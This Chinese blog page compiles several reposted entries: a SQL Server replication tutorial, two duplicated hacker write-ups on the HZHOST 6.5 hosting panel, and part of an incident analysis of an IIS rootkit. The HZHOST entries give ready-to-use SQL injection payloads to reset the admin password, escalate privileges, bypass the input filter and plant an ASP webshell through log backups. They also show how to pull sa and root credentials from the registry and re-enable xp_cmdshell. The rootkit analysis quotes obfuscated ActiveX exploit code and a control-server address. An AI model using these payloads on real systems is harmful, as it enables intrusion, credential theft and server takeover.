经过测试,可以顺利实现数据库结构的初始化和数据的单向同步(也就是订阅服务器的数据可以及时更新为发布服务器的数据)。
准备工作:
>>数据的同步中主要考虑的三部分,可以理解成三台主机。发布服务器,分发服务器和订阅服务器;可以从字面的意思理解,要实现的功能实际就是让订阅服务器通过分发服务器保持数据及时地和发布服务器上的数据一致。整个执行过程是这样一来的:
a.订阅服务器应该有个初始化,一般来说我们开始做这个同步任务的时候,发布服务器已经有了相当的数据量了,而我们的订阅服务器应该是新建的服务。即使发布中没有数据,也需要把他的数据库结构初始化到订阅服务器上。
b. 我采用的是事物复制,发布服务器的数据发生变化后,相当于触发了一个更新操作,而事物复制可以在设定的时间把数据更新的操作更新到订阅服务器中去。当然, 这个操作需要经过分发服务器。在我的测试中,我是把发布服务器和分发服务器设置为同一台主机,可以顺利实现数据在数分钟内同步。
> >在操作的起始,需要考虑订阅服务器是否有和发布服务器相同结构的数据库,如果有,需要做的就是使用代理把发布服务器现有的数据初始化过去;如果没 有对应的相同结构的数据库,就需要要把发布服务器当前的数据库结构和当前的数据都初始化到订阅服务器中。当然这里所说的操作都是在下面的实施步骤中实现, 不需要单独处理。
>>如果说对Windows系统有所要求的话,就应该保证这三个服务器(发布,分发,订阅)在同个域中,以同一个域管理员帐号身份运行,操作如下:
a.进入相应的服务器,控制面板->服务->SQLSERVERAGENT,设置登录,三台服务器同样设置。
b.操作前,也不允许这三台服务器对应的别名使用呢称,比如"LOCAL",这样的别名要删除重建,可以采用主机名,比如:server02.
下面开始执行数据库同步的操作:
>>配置发布服务器和分发服务器:
a.选中对应服务器的注册名->工具->复制->配置发布、订阅和分发,直接按照默认设置向下执行,直到完成。关闭。
b. 再一次选中这个服务器服务器的注册名->工具->复制->配置发布、订阅和分发,可以看到这次界面和步骤a中的界面有所不同,我们只需 要配置一下 发布服务器,发布数据库,订阅服务器。(我的发布数据库采用的是事物性的)。点“确定”完成操作。
> >创建发布,可以选中相应的注册,用工具->复制->创建和管理发布或者在该注册下面的 复制->发布内容 选中后,在右边空白处,右键,新建发布,来创建你的发布。我选择的是事物发布,按照默认设置,选择你要发布的表或其他对象,其他地方不需要修改,直到完成 操作。
>>修改发布属性:选择“状态”->立即运行代理程序;代理程序属性->设置你的调度,比如一分钟一次。(调度->编辑->更改;通知->写入windows应用程序事件日志),"确定"完成操作。
>>创建订阅:选择发布服务器对应的注册,复制->发布内容->在这个内容上右键,强制新订阅,->"下一步",选择订阅服务器(在标记P那一步选择的订阅服务器)->“下一步”->选择你有的数据库,或者新建一个数据库
->"下一步"-> 修改你需要的调度->按照默认设置,直到完成。
到 这里就可以完成了,修改发布服务器数据库中的内容,等一两分钟,数据就同步到订阅服务器中了。不过由于第一次执行需要快照,如果发布库中有一定的内容,第 一次执行可能需要几分钟时间。如果数据不能同步过去,大家是调度设置时间太短(比如1分钟)使快照不能完成,所以后面的步骤无法执行,遇到这样的情况的 话,
选中你发布的内容,设置属性,在“状态”中“立即运行代理程序”,这样的话,数据会马上同步过去的。
--------------------------------------------------------------------------------
http://www.itpub.net/showthread.php?threadid=558706
--------------------------------------------------------------------------------
Feb
13
这是一个域名主机实时管理系统。在百度搜索: title: (域名主机实时管理系统) ,会找到大量采用这种系统的网站!太术语了。就是在线开通ftp.sql.web的一个管理系统。一套web程序。和IIS管理程序。实现在线开通的玩 意。所以:我们可以免费申请域名和空间!!哈哈!!!
web程序方面写的非常严谨。大量的过滤。由于是商业版的程序,所以我没有源码。本来是有的,但是放在家里的电脑上。放暑假时搞的shell现在都被删了。。。我现在又比较懒,就没去弄源代码。反正大家知道怎么弄的就行了。
这又是一个文本框的注射。我真不知道作者是怎么想的。其他地方都被过滤了。就留下域名管理这里没过滤。
官方放暑假的时候就被我搞了一遍,过了一个月他发现了。删了我的shell。不知道他怎么知道我从那里下的手搞的他。他居然补了漏洞。先上图,再说下利用方法。
123' Update [memlst] SET u_pss='e10adc3949ba59abbe56e057f20f883e' Where u_nme='admin'--这一句是把用户admin的密码修改为123456。管理员的后台地址一般是http://www.xx.com/master
或者直接在首页登陆了按切换到管理员后台。
如果admin不是超级管理员,那就有三个办法。
一是自己构造语句爆出来。
二是提升自己注册的用户的权限。
三是直接爆网站路径,再来个差异备份。
第一个方法我给出一条示范语句:
123' and (select top 1 isnull(cast([u_nme] as nvarchar(4000)),char(32))+char(94)+isnull(cast([U_pss] as nvarchar(4000)),char(32)) from (select top 2u_nme,U_pss from [hzhost]..[memlst] where 1=1 order by [u_nme]) t order by [u_nme] desc )>0-- and '1'='1可以同时爆出一个用户的帐号和密码。想爆出其他用户的语句自己构造吧。
第二个方法是:
123' Update [memlst] SET u_sys=6 Where u_nme='你注册的用户名'--
123' Update [memlst] SET u_pwr=2 Where u_nme='你注册的用户名'--这2句话就能够提升自己为超级管理员
第三个方法很麻烦。但是很有效果。直捣黄龙。。很强大。我给出如下语句,大家自己研究去吧!
爆路径语句
第一步:建立表123' ;drop table foofoofoo;create table foofoofoo([id] [int] identity (1,1) not null,[name] [nvarchar] (300) not null,[depth] [int] not null,[isfile] [nvarchar] (50) null);-- and '1'='1
第二步:123' ;declare @z nvarchar(4000) set @z=0x63003a005c00 insert foofoofoo execute master..xp_dirtree @z,1,1-- and '1'='1
注意:0x63003a005c00 = C:\ 为sql ENCODE
其他的自己找工具去转吧!
第三步:暴出总数 123' and (select cast(count(*) as varchar(8000))+char(94) from foofoofoo)>0-- and '1'='1
第四步:暴出你想要的文件夹名字和文件名字 123' and 0<(select top 1 cast([isfile] as nvarchar(4000))+char(94)+cast([name] as nvarchar(4000)) from (select distinct top 1 * from foofoofoo order by isfile,name) t order by isfile desc,name desc)-- and '1'='1
修改中间红色的1,依次爆出。至于差异备份语句。让nbsi3告诉你吧。
对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!
我记得还有2篇关于hzhost的漏洞利用文章。名字不记得了。大家去搜索“hzhost漏洞”找找吧!里面提到下面两点内容!
1。是提到c:\windows\temp下有hzhost主机留下的ftp登陆记录。有用户名和密码
2。是利用hzhost拿系统主机最高权限的。
安装了hzhost的主机,其mssql sa密码,mysql root密码还有serv-u的administrator密码全部保存在注册表中。位置在 HKEY_LOCAL_MACHINE\software\hzhost\config\settings\mysqlpass
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\mastersvrpass
经过了hzhost自己的加密方式,象
eLVClO4tzsKBf#dee52443a3872cc159
这样的字符串。不过在hzhost后台可以还原!拿到了sa密码,或者root密码,最高权限就在眼前!禁止了w.s的话。大家就传aspx木马导撒!
我们传了一个asp木马上去后。在incs\constr.asp下面可以看到数据库连接串。然后连接到数据库。通过执行
Select * FROM [hstlst]
语句。可以看到很多主机记录。如图
发现什么没有?h_ftppass的密码和hzhost主机自己的加密串很相似。没错,主机管理的密码也是经过他自己的加密方式加了密!而我们在主机管理的地方!
看到明文密码。说明他又给还原回来了。明白了么?我们先通过aspx木马导出mysql,mssql的root,sa密码加密串后。
我们通过这条语句,修改别人的主机密码。
Update [hstlst] SET h_ftppss='aPWw3j4zMaK83lHMBof9fc298b1d3d0a' Where h_ID=10000471然后回过头去看主机密码。(这时候被转成了明文)
就拿到了root密码为:sphil_070921注意:由于有多种限制。我截的图可能不是很完美。但是此方法绝对可行。这方法是看到别人写的[利用hzhost取得最高权限]得到的启发。谢谢他。
我们也可以同样拿到sa密码,用sa帐号密码远程连接,直接恢复xp_cmdshell就可以执行系统命令了!
好了。就此结束!期待牛人写出还原密码程序!!这样就不用麻烦了
web程序方面写的非常严谨。大量的过滤。由于是商业版的程序,所以我没有源码。本来是有的,但是放在家里的电脑上。放暑假时搞的shell现在都被删了。。。我现在又比较懒,就没去弄源代码。反正大家知道怎么弄的就行了。
这又是一个文本框的注射。我真不知道作者是怎么想的。其他地方都被过滤了。就留下域名管理这里没过滤。
官方放暑假的时候就被我搞了一遍,过了一个月他发现了。删了我的shell。不知道他怎么知道我从那里下的手搞的他。他居然补了漏洞。先上图,再说下利用方法。
123' Update [memlst] SET u_pss='e10adc3949ba59abbe56e057f20f883e' Where u_nme='admin'--这一句是把用户admin的密码修改为123456。管理员的后台地址一般是http://www.xx.com/master
或者直接在首页登陆了按切换到管理员后台。
如果admin不是超级管理员,那就有三个办法。
一是自己构造语句爆出来。
二是提升自己注册的用户的权限。
三是直接爆网站路径,再来个差异备份。
第一个方法我给出一条示范语句:
123' and (select top 1 isnull(cast([u_nme] as nvarchar(4000)),char(32))+char(94)+isnull(cast([U_pss] as nvarchar(4000)),char(32)) from (select top 2u_nme,U_pss from [hzhost]..[memlst] where 1=1 order by [u_nme]) t order by [u_nme] desc )>0-- and '1'='1可以同时爆出一个用户的帐号和密码。想爆出其他用户的语句自己构造吧。
第二个方法是:
123' Update [memlst] SET u_sys=6 Where u_nme='你注册的用户名'--
123' Update [memlst] SET u_pwr=2 Where u_nme='你注册的用户名'--这2句话就能够提升自己为超级管理员
第三个方法很麻烦。但是很有效果。直捣黄龙。。很强大。我给出如下语句,大家自己研究去吧!
爆路径语句
第一步:建立表123' ;drop table foofoofoo;create table foofoofoo([id] [int] identity (1,1) not null,[name] [nvarchar] (300) not null,[depth] [int] not null,[isfile] [nvarchar] (50) null);-- and '1'='1
第二步:123' ;declare @z nvarchar(4000) set @z=0x63003a005c00 insert foofoofoo execute master..xp_dirtree @z,1,1-- and '1'='1
注意:0x63003a005c00 = C:\ 为sql ENCODE
其他的自己找工具去转吧!
第三步:暴出总数 123' and (select cast(count(*) as varchar(8000))+char(94) from foofoofoo)>0-- and '1'='1
第四步:暴出你想要的文件夹名字和文件名字 123' and 0<(select top 1 cast([isfile] as nvarchar(4000))+char(94)+cast([name] as nvarchar(4000)) from (select distinct top 1 * from foofoofoo order by isfile,name) t order by isfile desc,name desc)-- and '1'='1
修改中间红色的1,依次爆出。至于差异备份语句。让nbsi3告诉你吧。
对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!
我记得还有2篇关于hzhost的漏洞利用文章。名字不记得了。大家去搜索“hzhost漏洞”找找吧!里面提到下面两点内容!
1。是提到c:\windows\temp下有hzhost主机留下的ftp登陆记录。有用户名和密码
2。是利用hzhost拿系统主机最高权限的。
安装了hzhost的主机,其mssql sa密码,mysql root密码还有serv-u的administrator密码全部保存在注册表中。位置在 HKEY_LOCAL_MACHINE\software\hzhost\config\settings\mysqlpass
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\mastersvrpass
经过了hzhost自己的加密方式,象
eLVClO4tzsKBf#dee52443a3872cc159
这样的字符串。不过在hzhost后台可以还原!拿到了sa密码,或者root密码,最高权限就在眼前!禁止了w.s的话。大家就传aspx木马导撒!
我们传了一个asp木马上去后。在incs\constr.asp下面可以看到数据库连接串。然后连接到数据库。通过执行
Select * FROM [hstlst]
语句。可以看到很多主机记录。如图
发现什么没有?h_ftppass的密码和hzhost主机自己的加密串很相似。没错,主机管理的密码也是经过他自己的加密方式加了密!而我们在主机管理的地方!
看到明文密码。说明他又给还原回来了。明白了么?我们先通过aspx木马导出mysql,mssql的root,sa密码加密串后。
我们通过这条语句,修改别人的主机密码。
Update [hstlst] SET h_ftppss='aPWw3j4zMaK83lHMBof9fc298b1d3d0a' Where h_ID=10000471然后回过头去看主机密码。(这时候被转成了明文)
就拿到了root密码为:sphil_070921注意:由于有多种限制。我截的图可能不是很完美。但是此方法绝对可行。这方法是看到别人写的[利用hzhost取得最高权限]得到的启发。谢谢他。
我们也可以同样拿到sa密码,用sa帐号密码远程连接,直接恢复xp_cmdshell就可以执行系统命令了!
好了。就此结束!期待牛人写出还原密码程序!!这样就不用麻烦了
Feb
13
作者:叉叉兵
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。
只讲两个要点。
第一,如何拿网站管理员权限。
第二,如何备份木马。
这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方
没有将变量用单引号包起来,而过滤函数又未过滤完全
,导致我们有机会进行注射。
我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。
httP://www.xxbing.com
QQ178737315
漏洞存在于
\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp
文件中!
-------------------------13-15行----------------------------
querytype=SafeRequest("querytype") //saferequest函数接受数据
if chk_int(querytype)=false then //检查是否是整数
ErrMsg="对不起,非法操作!..."
-------------------------37-42行---------------------------
elseif querytype=5 then //如果类型为5。就接受qu1数据!
qu1=trim(SafeRequest("qu1")) //saferequest函数接受数据,他自己定义的saferequest函数!
if qu1="" then //不能为空
call errorpage(-2,"对不起,请选择参数!")
end if
qstring
=" and s_regstt=
"&qu1&"
" //这里是关键 qu1没有用单引号包围,
虽然用了saferequest,但是我们可以绕过!
-------------------------62-65行---------------------------
qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据
if qu7"" then
qstring2
=" and u_nme=
'"&qu7&"'
" //这里被单引号包围了。 这里被包围了,所以这里成了死点!!
end if
--------------------------117行-----------------------------
query="select * from v_ot2lst where (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')
"&qstring&qstring2&"
order by "&orderstring
//到这里就丢进去查询了!
来看看saferequest()函数。
------------------incs/config.asp中-------------------------
Function SafeRequest(ParaName)
Dim ParaValue
ParaValue=Request(ParaName) //获取数据
if IsNumeric(ParaValue) then //如果是数字
SafeRequest=ParaValue //那就不过滤,直接赋值
exit Function
else
ParaValuetemp=lcase(ParaValue) //如果不是数字,先把接到的数据全部转为小写
tempvalue="select |insert |delete from|'|count(|drop table|update |truncate |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"
//定义要过滤的字符!
他过滤方式有问题。。。没有过滤 * / % / -- / ;
而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。
temps=split(tempvalue,"|") //转为一维数组
for mycount=0 to ubound(temps) //循环读数组内数据
if Instr(ParaValuetemp,temps(mycount)) > 0 then //判断用户提交的数据是否包含了 非法字符。
call errorpage(-2,"非法请求!!!") //如果有则弹出提示!!
response.end
end if
next
SafeRequest=ParaValue
end if
End function
-------------------------------------
所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..
仔细看清楚。上面过滤的是update+空格。select+空格。
先给出查询语句的框架。
select * from v_ot2lst where (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc
为了使语句顺利执行:
我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。
这里我给出条示范语句,即{我们的语句}
Update%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 Where u_nme=0x61646D696E
这条语句能够绕过saferequest函数的检测。没有出现单引号。
我们提交:
http://www.xxxxxx.com/control/ot2_mng/ot2_lst.asp?querytype=5&qu7=1&ordernum=32&qu1=1
;Update%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 Where u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1
这句话就能够将admin的密码修改成123456
到此第一个目的就达到了。如果admin不是超级管理员。那么请看
《HZHOST域名虚拟主机管理系统sql注射漏洞》
中所提到的方法。相关语句请自己转换。
第二步是要备份挂马。
大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了
char(
导致备马的这条语句失败。
declare @a sysname,@s var
char(
4000) select @a=db_name(),@s=。。。。。。。。。
有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。
由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char(
接下来放出详细语句。大家放入{我们的语句中}
第 一 步:
create table [dbo].[shit_tmp] ([cmd] [image])--
第 二 步
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
第 三 步
insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
第 四 步
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--
第 五 步
Drop table [shit_tmp]--
上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。
一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。
请看
《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》
最后是答疑部分:
1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。
2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为 0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500
这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:
0x6531306164633339343962613539616262653536653035376632306638383365
大家仔细观察,会发现,其实只是去掉了一些00。。
所以大家在转换其他md5的时候,注意此问题。
3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。
另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。
4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。
有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。
5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。
6::
sa密码。root密码。
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\
mysqlpass---root密码
mssqlpss----sa密码
7.如果路径不在D:/hzhost
那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。
或者去读注册表。
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下
"wwwrootpath"="e:\\wwwroot"
"urlsiteroot"="D:\\hzhost\\hzhost_url"
"ftprootpath"="e:\\ftproot" 可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)
大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!
利用动画下载地址(送给菜鸟同学们,能看懂文章的大不必下载,只是把文章的内容完全演示了一遍。)
hzhost最新漏洞.rar
饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以,只能放到这里。抱歉啊!!
最后,还是版权。
http://www.xxbing.com
QQ178737315
允许自由转载。但请注明作者。
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。
只讲两个要点。
第一,如何拿网站管理员权限。
第二,如何备份木马。
这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方
没有将变量用单引号包起来,而过滤函数又未过滤完全
,导致我们有机会进行注射。
我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。
httP://www.xxbing.com
QQ178737315
漏洞存在于
\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp
文件中!
-------------------------13-15行----------------------------
querytype=SafeRequest("querytype") //saferequest函数接受数据
if chk_int(querytype)=false then //检查是否是整数
ErrMsg="对不起,非法操作!..."
-------------------------37-42行---------------------------
elseif querytype=5 then //如果类型为5。就接受qu1数据!
qu1=trim(SafeRequest("qu1")) //saferequest函数接受数据,他自己定义的saferequest函数!
if qu1="" then //不能为空
call errorpage(-2,"对不起,请选择参数!")
end if
qstring
=" and s_regstt=
"&qu1&"
" //这里是关键 qu1没有用单引号包围,
虽然用了saferequest,但是我们可以绕过!
-------------------------62-65行---------------------------
qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据
if qu7"" then
qstring2
=" and u_nme=
'"&qu7&"'
" //这里被单引号包围了。 这里被包围了,所以这里成了死点!!
end if
--------------------------117行-----------------------------
query="select * from v_ot2lst where (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')
"&qstring&qstring2&"
order by "&orderstring
//到这里就丢进去查询了!
来看看saferequest()函数。
------------------incs/config.asp中-------------------------
Function SafeRequest(ParaName)
Dim ParaValue
ParaValue=Request(ParaName) //获取数据
if IsNumeric(ParaValue) then //如果是数字
SafeRequest=ParaValue //那就不过滤,直接赋值
exit Function
else
ParaValuetemp=lcase(ParaValue) //如果不是数字,先把接到的数据全部转为小写
tempvalue="select |insert |delete from|'|count(|drop table|update |truncate |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"
//定义要过滤的字符!
他过滤方式有问题。。。没有过滤 * / % / -- / ;
而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。
temps=split(tempvalue,"|") //转为一维数组
for mycount=0 to ubound(temps) //循环读数组内数据
if Instr(ParaValuetemp,temps(mycount)) > 0 then //判断用户提交的数据是否包含了 非法字符。
call errorpage(-2,"非法请求!!!") //如果有则弹出提示!!
response.end
end if
next
SafeRequest=ParaValue
end if
End function
-------------------------------------
所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..
仔细看清楚。上面过滤的是update+空格。select+空格。
先给出查询语句的框架。
select * from v_ot2lst where (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc
为了使语句顺利执行:
我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。
这里我给出条示范语句,即{我们的语句}
Update%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 Where u_nme=0x61646D696E
这条语句能够绕过saferequest函数的检测。没有出现单引号。
我们提交:
http://www.xxxxxx.com/control/ot2_mng/ot2_lst.asp?querytype=5&qu7=1&ordernum=32&qu1=1
;Update%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 Where u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1
这句话就能够将admin的密码修改成123456
到此第一个目的就达到了。如果admin不是超级管理员。那么请看
《HZHOST域名虚拟主机管理系统sql注射漏洞》
中所提到的方法。相关语句请自己转换。
第二步是要备份挂马。
大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了
char(
导致备马的这条语句失败。
declare @a sysname,@s var
char(
4000) select @a=db_name(),@s=。。。。。。。。。
有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。
由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char(
接下来放出详细语句。大家放入{我们的语句中}
第 一 步:
create table [dbo].[shit_tmp] ([cmd] [image])--
第 二 步
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
第 三 步
insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
第 四 步
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--
第 五 步
Drop table [shit_tmp]--
上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。
一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。
请看
《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》
最后是答疑部分:
1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。
2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为 0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500
这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:
0x6531306164633339343962613539616262653536653035376632306638383365
大家仔细观察,会发现,其实只是去掉了一些00。。
所以大家在转换其他md5的时候,注意此问题。
3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。
另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。
4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。
有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。
5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。
6::
sa密码。root密码。
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\
mysqlpass---root密码
mssqlpss----sa密码
7.如果路径不在D:/hzhost
那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。
或者去读注册表。
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下
"wwwrootpath"="e:\\wwwroot"
"urlsiteroot"="D:\\hzhost\\hzhost_url"
"ftprootpath"="e:\\ftproot" 可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)
大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!
利用动画下载地址(送给菜鸟同学们,能看懂文章的大不必下载,只是把文章的内容完全演示了一遍。)
hzhost最新漏洞.rar
饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以,只能放到这里。抱歉啊!!
最后,还是版权。
http://www.xxbing.com
QQ178737315
允许自由转载。但请注明作者。
Feb
13
1、
首先是发现浏览该服务器网页时,最底端加入了一段iframe:
http://bh.jebooo.com/3002.htm
追查该代码,关键字:
BD96C556-65A3-11D0-983A-00C04FC29
var real=new ActiveXObject("IERPCtl.IERPCtl.1");
var storm=new window["ActiveXObject"]("MP"+"S.S"+"tor"+"mPl"+"ayer");
var Lz=new ActiveXObject("GLC"+"HAT.G"+"LCh"+"atC"+"trl.1");
function GetCookie_cnzz(name)
应该是利用了ie的一些activex漏洞进行种木马和刷流量的操作
2、
追查工作暂时放到一边,首要问题是解决服务器异常
最开始是怀疑有arp攻击,登录到服务器上查看
arp -a得到网关mac,与正确的网关mac一致,windump抓包
windump -X -i 3 -n arp
也没有发现异常arp广播
检查web文件,也正常,底部并没有加码
初步确定是服务器本身有问题
3、
继续抓包,查看http包
windump -X -i 3 -s 65535 -n host **.**.**.** and port 80
发现在正常的页面请求结束前,被插入了一段
10:06:39.430635 IP xx.xx.xx.xx.80 > yy.yy.yy.yy.2407: P 254:325(71) ack 417
win 65119
0x0000: 4500 006f 1251 4000 8006 d0c4 d233 b9ca [email protected]..
0x0010: d233 b941 0050 0967 fddc 6d08 11ce dc82 .3.A.P.g..m.....
0x0020: 5018 fe5f 17d5 0000 0d0a 3c69 6672 616d P.._......<ifram
0x0030: 6520 7372 633d 6874 7470 3a2f 2f62 682e e.src=http://bh.
0x0040: 6a65 626f 6f6f 2e63 6f6d 2f33 3030 322e jebooo.com/3002.
0x0050: 6874 6d20 7769 6474 683d 3020 6865 6967 htm.width=0.heig
0x0060: 6874 3d30 3e3c 2f69 6672 616d 653e 00 ht=0></iframe>.
正是页面底部被嵌入的iframe
这说明服务器的iis进程或网卡驱动被hook,在侦测到某种类型文件的http请求后,在传输结束前挂马
4、
检查服务器,查看进程、服务、N处注册表启动项、系统帐号
均未发现异常
请出icesword,检查内核模块,发现两个可疑的家伙
XFKnrl.sys 和 rvdport.sys
文件路径都是system32\drivers\,但到该目录下查找并没有这两个文件,基本能确定是rootkit了
正常的内核模块没必要隐藏自己
procexp搜索全部进程的handle,果然
发现在inetinfo进程中有 \device\XFKnrl加载项,iis被插了!
5、
用Wsyscheck和RkUnhooker再进一步检查内核模块和驱动
除了icesword查到的两个sys之外再没有其他发现
ssdt和fsd的各个函数也没有被hook的报告
NtQueryDirectoryFile
NtQuerySystemInformation
NtDeviceIoControlFile
都正常!
但在wsyscheck的“安全检查”-“端口状态”中发现,进程inetinfo每几秒就向61.164.176.139:3002发syn
12:01:20.108071 IP xx.xx.xx.xx.4627 > 61.164.176.139.3002: S 3273827924:32738
27924(0) win 65535 <mss 1460,nop,nop,sackOK>
0x0000: 4500 0030 125f 4000 8006 6e3b d233 b9ca [email protected];.3..
0x0010: 3da4 b08b 1213 0bba c322 a654 0000 0000 =........".T....
0x0020: 7002 ffff 81ad 0000 0204 05b4 0101 0402 p...............
12:01:20.180418 IP 61.164.176.139.3002 > xx.xx.xx.xx.4627: R 0:0(0) ack 1 win
0
0x0000: 4500 0028 0186 0000 7306 cc1c 3da4 b08b E..(....s...=...
0x0010: d233 b9ca 0bba 1213 0000 0000 c322 a655 .3...........".U
0x0020: 5014 0000 ae5d 0000 aaaa 0000 aaaa P....]........
12:01:22.592705 IP xx.xx.xx.xx.4628 > 61.164.176.139.3002: S 1189036599:11890
36599(0) win 65535 <mss 1460,nop,nop,sackOK>
0x0000: 4500 0030 126a 4000 8006 6e30 d233 b9ca [email protected]..
0x0010: 3da4 b08b 1214 0bba 46df 4237 0000 0000 =.......F.B7....
0x0020: 7002 ffff 620d 0000 0204 05b4 0101 0402 p...b...........
12:01:22.654909 IP 61.164.176.139.3002 > xx.xx.xx.xx.4628: R 0:0(0) ack 11890
36600 win 0
0x0000: 4500 0028 2deb 0000 7306 9fb7 3da4 b08b E..(-...s...=...
0x0010: d233 b9ca 0bba 1214 0000 0000 46df 4238 .3..........F.B8
0x0020: 5014 0000 8ebd 0000 aaaa 0000 aaaa P.............
61.164.176.139基本可以确定就是rootkit的控制端了
6、
